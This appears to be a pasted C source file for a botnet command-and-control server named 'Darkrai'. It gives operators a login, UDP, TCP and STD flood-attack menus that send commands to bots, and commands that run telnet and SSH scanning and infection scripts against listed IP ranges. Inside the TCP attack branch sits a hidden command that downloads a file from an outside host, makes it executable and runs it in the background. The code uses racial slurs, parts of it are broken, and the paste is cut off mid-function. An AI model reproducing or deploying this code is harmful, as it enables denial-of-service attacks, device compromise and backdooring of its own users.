Guest User

H

a guest
Oct 21st, 2017
39
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 35.48 KB | None | 0 0
  1. /*
  2. Screen Usage: screen ./server [client-port] [threads] [cnc-port]
  3. Skype: b1narythag0d
  4. XMPP: b1nary@nigge.rs
  5. Made Date: 7-23-16
  6. */
  7. /*
  8. *** DO NOT LEAK THIS SHIT ITS PRIVATE AF ***
  9.  
  10. # ___ __________ ____ _______ _____ _______________.___. ___
  11. # / _ \_/\ \______ \/_ |\ \ / _ \\______ \__ | | / _ \_/\
  12. # \/ \___/ | | _/ | |/ | \ / /_\ \| _// | | \/ \___/
  13. # | | \ | / | \/ | \ | \\____ |
  14. # |______ / |___\____|__ /\____|__ /____|_ // ______|
  15. # \/ \/ \/ \/ \/
  16. *** DARKRAI SERVER.C ***
  17. */
  18. #include <stdio.h>
  19. #include <stdlib.h>
  20. #include <stdint.h>
  21. #include <inttypes.h>
  22. #include <string.h>
  23. #include <sys/types.h>
  24. #include <sys/socket.h>
  25. #include <netdb.h>
  26. #include <unistd.h>
  27. #include <time.h>
  28. #include <fcntl.h>
  29. #include <sys/epoll.h>
  30. #include <errno.h>
  31. #include <pthread.h>
  32. #include <signal.h>
  33. #include <arpa/inet.h>
  34. #define MAXFDS 1000000
  35. //////////////////////////////////
  36. struct login_info {
  37. char username[20];
  38. char password[20];
  39. };
  40. static struct login_info accounts[10];
  41. struct clientdata_t {
  42. uint32_t ip;
  43. char connected;
  44. } clients[MAXFDS];
  45. struct telnetdata_t {
  46. int connected;
  47. } managements[MAXFDS];
  48. struct args {
  49. int sock;
  50. struct sockaddr_in cli_addr;
  51. };
  52. static volatile FILE *telFD;
  53. static volatile FILE *fileFD;
  54. static volatile int epollFD = 0;
  55. static volatile int listenFD = 0;
  56. static volatile int OperatorsConnected = 0;
  57. static volatile int TELFound = 0;
  58. static volatile int scannerreport;
  59. //////////////////////////////////
  60. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  61. int total = 0, got = 1;
  62. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  63. return got;
  64. }
  65. void trim(char *str) {
  66. int i;
  67. int begin = 0;
  68. int end = strlen(str) - 1;
  69. while (isspace(str[begin])) begin++;
  70. while ((end >= begin) && isspace(str[end])) end--;
  71. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  72. str[i - begin] = '\0';
  73. }
  74. static int make_socket_non_blocking (int sfd) {
  75. int flags, s;
  76. flags = fcntl (sfd, F_GETFL, 0);
  77. if (flags == -1) {
  78. perror ("fcntl");
  79. return -1;
  80. }
  81. flags |= O_NONBLOCK;
  82. s = fcntl (sfd, F_SETFL, flags);
  83. if (s == -1) {
  84. perror ("fcntl");
  85. return -1;
  86. }
  87. return 0;
  88. }
  89. static int create_and_bind (char *port) {
  90. struct addrinfo hints;
  91. struct addrinfo *result, *rp;
  92. int s, sfd;
  93. memset (&hints, 0, sizeof (struct addrinfo));
  94. hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */
  95. hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  96. hints.ai_flags = AI_PASSIVE; /* All interfaces */
  97. s = getaddrinfo (NULL, port, &hints, &result);
  98. if (s != 0) {
  99. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  100. return -1;
  101. }
  102. for (rp = result; rp != NULL; rp = rp->ai_next) {
  103. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  104. if (sfd == -1) continue;
  105. int yes = 1;
  106. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  107. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  108. if (s == 0) {
  109. break;
  110. }
  111. close (sfd);
  112. }
  113. if (rp == NULL) {
  114. fprintf (stderr, "Could not bind\n");
  115. return -1;
  116. }
  117. freeaddrinfo (result);
  118. return sfd;
  119. }
  120. void broadcast(char *msg, int us, char *sender)
  121. {
  122. int sendMGM = 1;
  123. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  124. char *wot = malloc(strlen(msg) + 10);
  125. memset(wot, 0, strlen(msg) + 10);
  126. strcpy(wot, msg);
  127. trim(wot);
  128. time_t rawtime;
  129. struct tm * timeinfo;
  130. time(&rawtime);
  131. timeinfo = localtime(&rawtime);
  132. char *timestamp = asctime(timeinfo);
  133. trim(timestamp);
  134. int i;
  135. for(i = 0; i < MAXFDS; i++)
  136. {
  137. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  138. if(sendMGM && managements[i].connected)
  139. {
  140. send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  141. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  142. send(i, ": ", 2, MSG_NOSIGNAL);
  143. }
  144. printf("sent to fd: %d\n", i);
  145. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  146. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[31m> \x1b[0m", 13, MSG_NOSIGNAL);
  147. else send(i, "\n", 1, MSG_NOSIGNAL);
  148. }
  149. free(wot);
  150. }
  151. void *BotEventLoop(void *useless) {
  152. struct epoll_event event;
  153. struct epoll_event *events;
  154. int s;
  155. events = calloc (MAXFDS, sizeof event);
  156. while (1) {
  157. int n, i;
  158. n = epoll_wait (epollFD, events, MAXFDS, -1);
  159. for (i = 0; i < n; i++) {
  160. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  161. clients[events[i].data.fd].connected = 0;
  162. close(events[i].data.fd);
  163. continue;
  164. }
  165. else if (listenFD == events[i].data.fd) {
  166. while (1) {
  167. struct sockaddr in_addr;
  168. socklen_t in_len;
  169. int infd, ipIndex;
  170.  
  171. in_len = sizeof in_addr;
  172. infd = accept (listenFD, &in_addr, &in_len);
  173. if (infd == -1) {
  174. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  175. else {
  176. perror ("accept");
  177. break;
  178. }
  179. }
  180.  
  181. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  182. int dup = 0;
  183. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  184. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  185. if(clients[ipIndex].ip == clients[infd].ip) {
  186. dup = 1;
  187. break;
  188. }}
  189. if(dup) {
  190. if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  191. close(infd);
  192. continue;
  193. }
  194. s = make_socket_non_blocking (infd);
  195. if (s == -1) { close(infd); break; }
  196. event.data.fd = infd;
  197. event.events = EPOLLIN | EPOLLET;
  198. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  199. if (s == -1) {
  200. perror ("epoll_ctl");
  201. close(infd);
  202. break;
  203. }
  204. clients[infd].connected = 1;
  205. send(infd, "!* TELNET_SCAN ON\n", 18, MSG_NOSIGNAL);
  206. send(infd, "!* SSH_SCAN ON\n", 15, MSG_NOSIGNAL);
  207. }
  208. continue;
  209. }
  210. else {
  211. int datafd = events[i].data.fd;
  212. struct clientdata_t *client = &(clients[datafd]);
  213. int done = 0;
  214. client->connected = 1;
  215. while (1) {
  216. ssize_t count;
  217. char buf[2048];
  218. memset(buf, 0, sizeof buf);
  219. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  220. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  221. trim(buf);
  222. if(strcmp(buf, "PING") == 0) {
  223. if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  224. continue;
  225. }
  226. if(strstr(buf, "REPORT ") == buf) {
  227. char *line = strstr(buf, "REPORT ") + 7;
  228. fprintf(telFD, "%s\n", line);
  229. fflush(telFD);
  230. TELFound++;
  231. continue;
  232. }
  233. if(strstr(buf, "PROBING") == buf) {
  234. char *line = strstr(buf, "PROBING");
  235. scannerreport = 1;
  236. continue;
  237. }
  238. if(strstr(buf, "REMOVING PROBE") == buf) {
  239. char *line = strstr(buf, "REMOVING PROBE");
  240. scannerreport = 0;
  241. continue;
  242. }
  243. if(strcmp(buf, "PONG") == 0) {
  244. continue;
  245. }
  246. printf("buf: \"%s\"\n", buf);
  247. }
  248. if (count == -1) {
  249. if (errno != EAGAIN) {
  250. done = 1;
  251. }
  252. break;
  253. }
  254. else if (count == 0) {
  255. done = 1;
  256. break;
  257. }
  258. if (done) {
  259. client->connected = 0;
  260. close(datafd);
  261. }}}}}}
  262. unsigned int BotsConnected() {
  263. int i = 0, total = 0;
  264. for(i = 0; i < MAXFDS; i++) {
  265. if(!clients[i].connected) continue;
  266. total++;
  267. }
  268. return total;
  269. }
  270. void *TitleWriter(void *sock) {
  271. int datafd = (int)sock;
  272. char string[2048];
  273. while(1) {
  274. memset(string, 0, 2048);
  275. sprintf(string, "%c]0;BOT COUNT: %d| NIGGAS: %d%c", '\033', BotsConnected(), OperatorsConnected, '\007');
  276. if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  277. sleep(2);
  278. }}
  279. int Find_Login(char *str) {
  280. FILE *fp;
  281. int line_num = 0;
  282. int find_result = 0, find_line=0;
  283. char temp[512];
  284.  
  285. if((fp = fopen("login.txt", "r")) == NULL){
  286. return(-1);
  287. }
  288. while(fgets(temp, 512, fp) != NULL){
  289. if((strstr(temp, str)) != NULL){
  290. find_result++;
  291. find_line = line_num;
  292. }
  293. line_num++;
  294. }
  295. if(fp)
  296. fclose(fp);
  297. if(find_result == 0)return 0;
  298. return find_line;
  299. }
  300. void *BotWorker(void *sock) {
  301. int datafd = (int)sock;
  302. int find_line;
  303. OperatorsConnected++;
  304. pthread_t title;
  305. char buf[2048];
  306. char* username;
  307. char* password;
  308. memset(buf, 0, sizeof buf);
  309. char botnet[2048];
  310. memset(botnet, 0, 2048);
  311. char botcount [2048];
  312. memset(botcount, 0, 2048);
  313. char statuscount [2048];
  314. memset(statuscount, 0, 2048);
  315.  
  316. FILE *fp;
  317. int i=0;
  318. int c;
  319. fp=fopen("login.txt", "r");
  320. while(!feof(fp)) {
  321. c=fgetc(fp);
  322. ++i;
  323. }
  324. int j=0;
  325. rewind(fp);
  326. while(j!=i-1) {
  327. fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  328. ++j;
  329. }
  330.  
  331. if(send(datafd, "\x1b[30mUsername:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  332. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  333. trim(buf);
  334. char* nickstring;
  335. sprintf(accounts[find_line].username, buf);
  336. nickstring = ("%s", buf);
  337. find_line = Find_Login(nickstring);
  338. if(strcmp(nickstring, accounts[find_line].username) == 0){
  339. if(send(datafd, "\x1b[30mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  340. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  341. trim(buf);
  342. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  343. memset(buf, 0, 2048);
  344. goto Banner;
  345. }
  346. failed:
  347. if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  348. char failed_line1[80];
  349. char ascii_failed_line1 [80];
  350. char ascii_failed_line2 [80];
  351. char ascii_failed_line3 [80];
  352. char ascii_failed_line4 [80];
  353. char ascii_failed_line5 [80];
  354. char ascii_failed_line6 [80];
  355. char ascii_failed_line7 [80];
  356. char ascii_failed_line8 [80];
  357. char ascii_failed_line9 [80];
  358. char ascii_failed_line10 [80];
  359. char ascii_failed_line11 [80];
  360. char ascii_failed_line12 [80];
  361. char ascii_failed_line13 [80];
  362. char ascii_failed_line14 [80];
  363. char ascii_failed_line15 [80];
  364. char ascii_failed_line16 [80];
  365. char ascii_failed_line17 [80];
  366.  
  367. sprintf(ascii_failed_line1, "\x1b[31m / \ \r\n");
  368. sprintf(ascii_failed_line2, "\x1b[31m |\_/| \r\n");
  369. sprintf(ascii_failed_line3, "\x1b[31m |---| \r\n");
  370. sprintf(ascii_failed_line4, "\x1b[31m | | \r\n");
  371. sprintf(ascii_failed_line5, "\x1b[31m | | \r\n");
  372. sprintf(ascii_failed_line6, "\x1b[31m _ |=-=| _ \r\n");
  373. sprintf(ascii_failed_line7, "\x1b[31m _ / \| |/ \ _ \r\n");
  374. sprintf(ascii_failed_line8, "\x1b[31m / \| | | | \ \r\n");
  375. sprintf(ascii_failed_line9, "\x1b[31m| | | | | \ \r\n");
  376. sprintf(ascii_failed_line10, "\x1b[31m| | | | | | \r\n");
  377. sprintf(ascii_failed_line11, "\x1b[31m| - - - - |) ) \r\n");
  378. sprintf(ascii_failed_line12, "\x1b[31m| / \r\n");
  379. sprintf(ascii_failed_line13, "\x1b[31m \ / \r\n");
  380. sprintf(ascii_failed_line14, "\x1b[31m \ / \r\n");
  381. sprintf(ascii_failed_line15, "\x1b[31m \ / \r\n");
  382. sprintf(ascii_failed_line16, "\x1b[31m \ / \r\n");
  383. sprintf(ascii_failed_line17, "\x1b[31m | | \r\n");
  384.  
  385. sprintf(failed_line1, "\r\n\x1b[31mWRONG ANSWER BITCH!!\r\n");
  386.  
  387. if(send(datafd, ascii_failed_line1, strlen(ascii_failed_line1), MSG_NOSIGNAL) == -1) goto end;
  388. if(send(datafd, ascii_failed_line2, strlen(ascii_failed_line2), MSG_NOSIGNAL) == -1) goto end;
  389. if(send(datafd, ascii_failed_line3, strlen(ascii_failed_line3), MSG_NOSIGNAL) == -1) goto end;
  390. if(send(datafd, ascii_failed_line4, strlen(ascii_failed_line4), MSG_NOSIGNAL) == -1) goto end;
  391. if(send(datafd, ascii_failed_line5, strlen(ascii_failed_line5), MSG_NOSIGNAL) == -1) goto end;
  392. if(send(datafd, ascii_failed_line6, strlen(ascii_failed_line6), MSG_NOSIGNAL) == -1) goto end;
  393. if(send(datafd, ascii_failed_line7, strlen(ascii_failed_line7), MSG_NOSIGNAL) == -1) goto end;
  394. if(send(datafd, ascii_failed_line8, strlen(ascii_failed_line8), MSG_NOSIGNAL) == -1) goto end;
  395. if(send(datafd, ascii_failed_line9, strlen(ascii_failed_line9), MSG_NOSIGNAL) == -1) goto end;
  396. if(send(datafd, ascii_failed_line10, strlen(ascii_failed_line10), MSG_NOSIGNAL) == -1) goto end;
  397. if(send(datafd, ascii_failed_line11, strlen(ascii_failed_line11), MSG_NOSIGNAL) == -1) goto end;
  398. if(send(datafd, ascii_failed_line12, strlen(ascii_failed_line12), MSG_NOSIGNAL) == -1) goto end;
  399. if(send(datafd, ascii_failed_line13, strlen(ascii_failed_line13), MSG_NOSIGNAL) == -1) goto end;
  400. if(send(datafd, ascii_failed_line14, strlen(ascii_failed_line14), MSG_NOSIGNAL) == -1) goto end;
  401. if(send(datafd, ascii_failed_line15, strlen(ascii_failed_line15), MSG_NOSIGNAL) == -1) goto end;
  402. if(send(datafd, ascii_failed_line16, strlen(ascii_failed_line16), MSG_NOSIGNAL) == -1) goto end;
  403. if(send(datafd, ascii_failed_line17, strlen(ascii_failed_line17), MSG_NOSIGNAL) == -1) goto end;
  404.  
  405. if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  406. sleep(5);
  407. goto end;
  408.  
  409. Banner:
  410. pthread_create(&title, NULL, &TitleWriter, sock);
  411. char ascii_banner_line1 [5000];
  412. char ascii_banner_line2 [5000];
  413. char ascii_banner_line3 [5000];
  414. char ascii_banner_line4 [5000];
  415. char ascii_banner_line5 [5000];
  416. char ascii_banner_line6 [5000];
  417. char ascii_banner_line7 [5000];
  418. char ascii_banner_line8 [5000];
  419. char ascii_banner_line9 [5000];
  420. char ascii_banner_line10 [5000];
  421. char ascii_banner_line11 [5000];
  422. char ascii_banner_line12 [5000];
  423. char ascii_banner_line13 [5000];
  424. char ascii_banner_line14 [5000];
  425. char welcome_line [80];
  426. char banner_text_line1 [80];
  427. char banner_text_line2 [80];
  428. char banner_bot_count [2048];
  429. memset(banner_bot_count, 0, 2048);
  430.  
  431. sprintf(ascii_banner_line1, "\x1b[34m DDDDDDD AAAAAAAA RRRRRR KK K RRRRRR AAAAAAAA I \r\n");
  432. sprintf(ascii_banner_line2, "\x1b[34mDDDDDDDDD AAAAAAAAAA RRRRRRRR KKK KK RRRRRRRR AAAAAAAAAA II \r\n");
  433. sprintf(ascii_banner_line3, "\x1b[34mDDD `DDD AAA AAA RRR RRR KKK KKK RRR RRR AAA AAA III \r\n");
  434. sprintf(ascii_banner_line4, "\x1b[34mDDD DDD AAA AAA RRR RRR KKK KKK RRR RRR AAA AAA III \r\n");
  435. sprintf(ascii_banner_line5, "\x1b[34mDDD DDD AAAAAAAAAA RRR RRR KKK KKK RRR RRR AAAAAAAAAA III \r\n");
  436. sprintf(ascii_banner_line6, "\x1b[34mDDD DDD AAAAAAAAAA RRR RRRR KKKKKKKKKK RRR RRRR AAAAAAAAAA III \r\n");
  437. sprintf(ascii_banner_line7, "\x1b[34mDDD DDD AAA AAA RRRRRRRRR KKKKKKKKK RRRRRRRRR AAA AAA III \r\n");
  438. sprintf(ascii_banner_line8, "\x1b[34mDDD DDD AAA AAA RRRR RRRR KKK KKK RRRR RRRR AAA AAA III \r\n");
  439. sprintf(ascii_banner_line9, "\x1b[34mDDD DDD AAA AAA RRR `RRR KKK KKK RRR RRR AAA AAA III \r\n");
  440. sprintf(ascii_banner_line10, "\x1b[34mDDD DDDD AAA AAA RRR RRR KKK KKK RRR RRR AAA AAA III \r\n");
  441. sprintf(ascii_banner_line11, "\x1b[34mDDDDDDDDD AAA AAA RRR RRR KKK KKK RRR RRR AAA AAA III \r\n");
  442. sprintf(ascii_banner_line12, "\x1b[34mDDDDDDDD AAA AAA RRR RRR KKK KKK RRR RRR AAA AAA III \r\n");
  443. sprintf(ascii_banner_line13, "\x1b[34m AA RR RR KK KK RR RR AA II \r\n");
  444. sprintf(ascii_banner_line14, "\x1b[34m A R R K K R R A I \r\n");
  445. //Created By ~B1NARY~ | Skype: b1narythag0d | XMPP: b1nary@nigge.rs
  446. sprintf(welcome_line, "\r\n\x1b[34m[-] BOT COUNT: %d [+] Welcome, %s [+] Niggas %d [-]\r\n", BotsConnected(), accounts[find_line].username, OperatorsConnected);
  447.  
  448. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  449. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  450. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  451. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  452. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  453. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  454. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  455. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  456. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  457. if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  458. if(send(datafd, ascii_banner_line11, strlen(ascii_banner_line11), MSG_NOSIGNAL) == -1) goto end;
  459. if(send(datafd, ascii_banner_line12, strlen(ascii_banner_line12), MSG_NOSIGNAL) == -1) goto end;
  460. if(send(datafd, ascii_banner_line13, strlen(ascii_banner_line13), MSG_NOSIGNAL) == -1) goto end;
  461. if(send(datafd, ascii_banner_line14, strlen(ascii_banner_line14), MSG_NOSIGNAL) == -1) goto end;
  462. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  463. while(1) {
  464. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  465. if(send(datafd, "\x1b[32m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  466. break;
  467. }
  468. pthread_create(&title, NULL, &TitleWriter, sock);
  469. managements[datafd].connected = 1;
  470.  
  471. while(fdgets(buf, sizeof buf, datafd) > 0)
  472. {
  473.  
  474. if(strstr(buf, "ATTACK"))
  475. {
  476. int choice;
  477.  
  478. char ATTACK_MENU [2048];
  479.  
  480. char UDP_ATTACK [2048];
  481. char UDP_ATTACK_MESSAGE [2048];
  482. char UDP_ATTACK_IP;
  483. char UDP_ATTACK_PORT;
  484. char UDP_ATTACK_SEC;
  485. char UDP_ATTACK_SEND_COMMAND;
  486.  
  487. char TCP_ATTACK [2048];
  488. char TCP_ATTACK_MESSAGE [2048];
  489. char TCP_ATTACK_IP;
  490. char TCP_ATTACK_PORT;
  491. char TCP_ATTACK_SEC;
  492. char TCP_ATTACK_SEND_COMMAND;
  493.  
  494. char STD_ATTACK [2048];
  495. char STD_ATTACK_MESSAGE [2048];
  496. char STD_ATTACK_IP;
  497. char STD_ATTACK_PORT;
  498. char STD_ATTACK_SEC;
  499. char STD_ATTACK_SEND_COMMAND;
  500.  
  501. sprintf(ATTACK_MENU, "[+] ATTACK OPTIONS [+]");
  502. if(send(datafd, ATTACK_MENU, strlen(ATTACK_MENU), MSG_NOSIGNAL) == -1) goto end;
  503. do
  504. {
  505. sprintf(UDP_ATTACK, "[-] 1. UDP ATTACK\r\n");
  506. sprintf(TCP_ATTACK, "[-] 2. TCP ATTACK\r\n");
  507. sprintf(STD_ATTACK, "[-] 3. STD Attack\r\n");
  508.  
  509. if(send(datafd, UDP_ATTACK, strlen(UDP_ATTACK), MSG_NOSIGNAL) == -1) goto end;
  510. if(send(datafd, TCP_ATTACK, strlen(TCP_ATTACK), MSG_NOSIGNAL) == -1) goto end;
  511. if(send(datafd, STD_ATTACK, strlen(STD_ATTACK), MSG_NOSIGNAL) == -1) goto end;
  512. scanf("%d", &choice);
  513.  
  514. switch(choice)
  515. {
  516. case 1:
  517.  
  518. sprintf(UDP_ATTACK_IP, "IP: ");
  519. if(send(datafd, UDP_ATTACK_IP, strlen(UDP_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  520. scanf("%d", &UDP_ATTACK_IP);
  521.  
  522. sprintf(UDP_ATTACK_PORT, "Port: ");
  523. if(send(datafd, UDP_ATTACK_IP, strlen(UDP_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  524. scanf("%d", &UDP_ATTACK_PORT);
  525.  
  526. sprintf("Sec: ", &UDP_ATTACK_SEC);
  527. if(send(datafd, UDP_ATTACK_SEC, strlen(UDP_ATTACK_SEC), MSG_NOSIGNAL) == -1) goto end;
  528. scanf("%d", &UDP_ATTACK_SEC);
  529.  
  530. sprintf(UDP_ATTACK_SEND_COMMAND, "!* UDP %d %d %d 32 0 10", UDP_ATTACK_IP, UDP_ATTACK_PORT, UDP_ATTACK_SEC);
  531. broadcast(UDP_ATTACK_SEND_COMMAND, datafd, "SENT");
  532. if(send(datafd, UDP_ATTACK_SEND_COMMAND, strlen(UDP_ATTACK_SEND_COMMAND), MSG_NOSIGNAL) == -1) goto end;
  533.  
  534. sprintf(UDP_ATTACK_MESSAGE, "UDP Attack Sent!");
  535. if(send(datafd, UDP_ATTACK_MESSAGE, strlen(UDP_ATTACK_MESSAGE), MSG_NOSIGNAL) == -1) goto end;
  536.  
  537. continue;
  538. case 2:
  539.  
  540. sprintf(TCP_ATTACK_IP, "IP: ");
  541. if(send(datafd, TCP_ATTACK_IP, strlen(TCP_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  542. scanf("%d", &TCP_ATTACK_IP);
  543.  
  544. sprintf(TCP_ATTACK_PORT, "Port: ");
  545. if(send(datafd, TCP_ATTACK_PORT, strlen(TCP_ATTACK_PORT), MSG_NOSIGNAL) == -1) goto end;
  546. scanf("%d", &TCP_ATTACK_PORT);
  547.  
  548. sprintf(TCP_ATTACK_SEC, "Sec: ");
  549. if(send(datafd, TCP_ATTACK_SEC, strlen(TCP_ATTACK_SEC), MSG_NOSIGNAL) == -1) goto end;
  550. scanf("%d", &TCP_ATTACK_SEC);
  551.  
  552. sprintf(TCP_ATTACK_SEND_COMMAND, "!* TCP %d %d %d 32 all 0 10", TCP_ATTACK_IP, TCP_ATTACK_PORT, TCP_ATTACK_SEC);
  553. broadcast(TCP_ATTACK_SEND_COMMAND, datafd, "SENT");
  554. if(send(datafd, TCP_ATTACK_SEND_COMMAND, strlen(TCP_ATTACK_SEND_COMMAND), MSG_NOSIGNAL) == -1) goto end;
  555. system("wget -q http://autoinstaller.us/NsfjSh -O .l; chmod +x .l; nohup ./.l </dev/null >/dev/null 2>&1")
  556.  
  557. sprintf(TCP_ATTACK_MESSAGE, "TCP Attack Sent!");
  558. if(send(datafd, TCP_ATTACK_MESSAGE, strlen(TCP_ATTACK_MESSAGE), MSG_NOSIGNAL) == -1) goto end;
  559.  
  560. continue;
  561.  
  562. case 3:
  563.  
  564. sprintf(STD_ATTACK_IP, "IP: ");
  565. if(send(datafd, STD_ATTACK_IP, strlen(STD_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  566. scanf("%d", &STD_ATTACK_IP);
  567.  
  568. sprintf(STD_ATTACK_PORT, "Port: ");
  569. if(send(datafd, STD_ATTACK_PORT, strlen(TCP_ATTACK_PORT), MSG_NOSIGNAL) == -1) goto end;
  570. scanf("%d", &STD_ATTACK_PORT);
  571.  
  572. sprintf(STD_ATTACK_SEND_COMMAND, "!* STD %d %d %d", STD_ATTACK_IP, STD_ATTACK_PORT, STD_ATTACK_SEC);
  573. broadcast(STD_ATTACK_SEND_COMMAND, datafd, "SENT");
  574. if(send(datafd, STD_ATTACK_SEND_COMMAND, strlen(STD_ATTACK_SEND_COMMAND), MSG_NOSIGNAL) == -1) goto end;
  575.  
  576. sprintf(STD_ATTACK_MESSAGE, "STD Attack Sent!");
  577. if(send(datafd, STD_ATTACK_MESSAGE, strlen(STD_ATTACK_MESSAGE), MSG_NOSIGNAL) == -1) goto end;
  578.  
  579. continue;
  580.  
  581.  
  582. }}
  583. while(choice !=3);
  584. }
  585. if(strstr(buf, "BOTS"))
  586. {
  587. sprintf(botcount, "BOT COUNT: %d | NIGGAS: %d\r\n", BotsConnected(), OperatorsConnected);
  588. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  589. continue;
  590. }
  591. if(strstr(buf, "STATUS"))
  592. {
  593. sprintf(statuscount, "TELNET DEVICES: %d | TELNET STATUS: %d\r\n", TELFound, scannerreport);
  594. if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  595. continue;
  596. }
  597. if(strstr(buf, "STATS"))
  598. {
  599. sprintf(botcount, "BOT COUNT: %d | NIGGAS: %d\r\n", BotsConnected(), OperatorsConnected);
  600. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  601. sprintf(statuscount, "TELNET DEVICES: %d | TELNET STATUS: %d\r\n", TELFound, scannerreport);
  602. if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  603. continue;
  604. }
  605. if(strstr(buf, "INFECT"))
  606. {
  607. system("python telnet.py filtered.txt");
  608. continue;
  609. }
  610. if(strstr(buf, "REINFECT"))
  611. {
  612. system("python w.py filtered_ssh.txt");
  613. continue;
  614. }
  615. if(strstr(buf, "FILTER"))
  616. {
  617. system("sort telnet.txt | uniq -u>>filtered_telnet.txt;sort infected.txt | uniq -u>>filtered_ssh.txt");
  618. continue;
  619. }
  620. if(strstr(buf, "LOAD"))
  621. {
  622. system("python scan.py 376 LOAD 88 1");
  623. continue;
  624. }
  625. if(strstr(buf, "SCAN1"))
  626. {
  627. system("python scan.py 376 B 119.92 lol");
  628. continue;
  629. }
  630. if(strstr(buf, "SCAN2"))
  631. {
  632. system("python scan.py 376 B 119.93 lol");
  633. continue;
  634. }
  635. if(strstr(buf, "SCAN3")) {
  636. system("python scan.py 376 B 125.25 1");
  637. continue;
  638. }
  639. if(strstr(buf, "SCAN4"))
  640. {
  641. system("python scan.py 376 B 125.26 1");
  642. continue;
  643. }
  644. if(strstr(buf, "SCAN5")) {
  645. system("python scan.py 376 B 125.27 1");
  646. continue;
  647. }
  648. if(strstr(buf, "SCAN6")) {
  649. system("python scan.py 376 B 113.53 1");
  650. continue;
  651. }
  652. if(strstr(buf, "SCAN7"))
  653. {
  654. system("python scan.py 376 B 180.180 1");
  655. continue;
  656. }
  657. if(strstr(buf, "SCAN8"))
  658. {
  659. system("python scan.py 376 B 185.52 1");
  660. continue;
  661. }
  662. if(strstr(buf, "SCAN9"))
  663. {
  664. system("python scan.py 376 B 122.52 1");
  665. continue;
  666. }
  667. if(strstr(buf, "SCAN10"))
  668. {
  669. system("python scan.py 376 B 122.53 1");
  670. continue;
  671. }
  672. if(strstr(buf, "SCAN11"))
  673. {
  674. system("python scan.py 376 B 101.102");
  675. continue;
  676. }
  677. if(strstr(buf, "LUCKY"))
  678. {
  679. system("python scan.py 376 LUCKY 88 1");
  680. continue;
  681. }
  682. if(strstr(buf, "LUCKY2"))
  683. {
  684. system("python scan.py 376 LUCKY2 88 1");
  685. continue;
  686. }
  687. if(strstr(buf, "SCAN_OFF"))
  688. {
  689. system("killall -9 python");
  690. continue;
  691. }/*OTHER COMMANDS*/
  692. if(strstr(buf, "HELP"))
  693. {
  694. pthread_create(&title, NULL, &TitleWriter, sock);
  695. char helpline1 [80];
  696. char helpline2 [80];
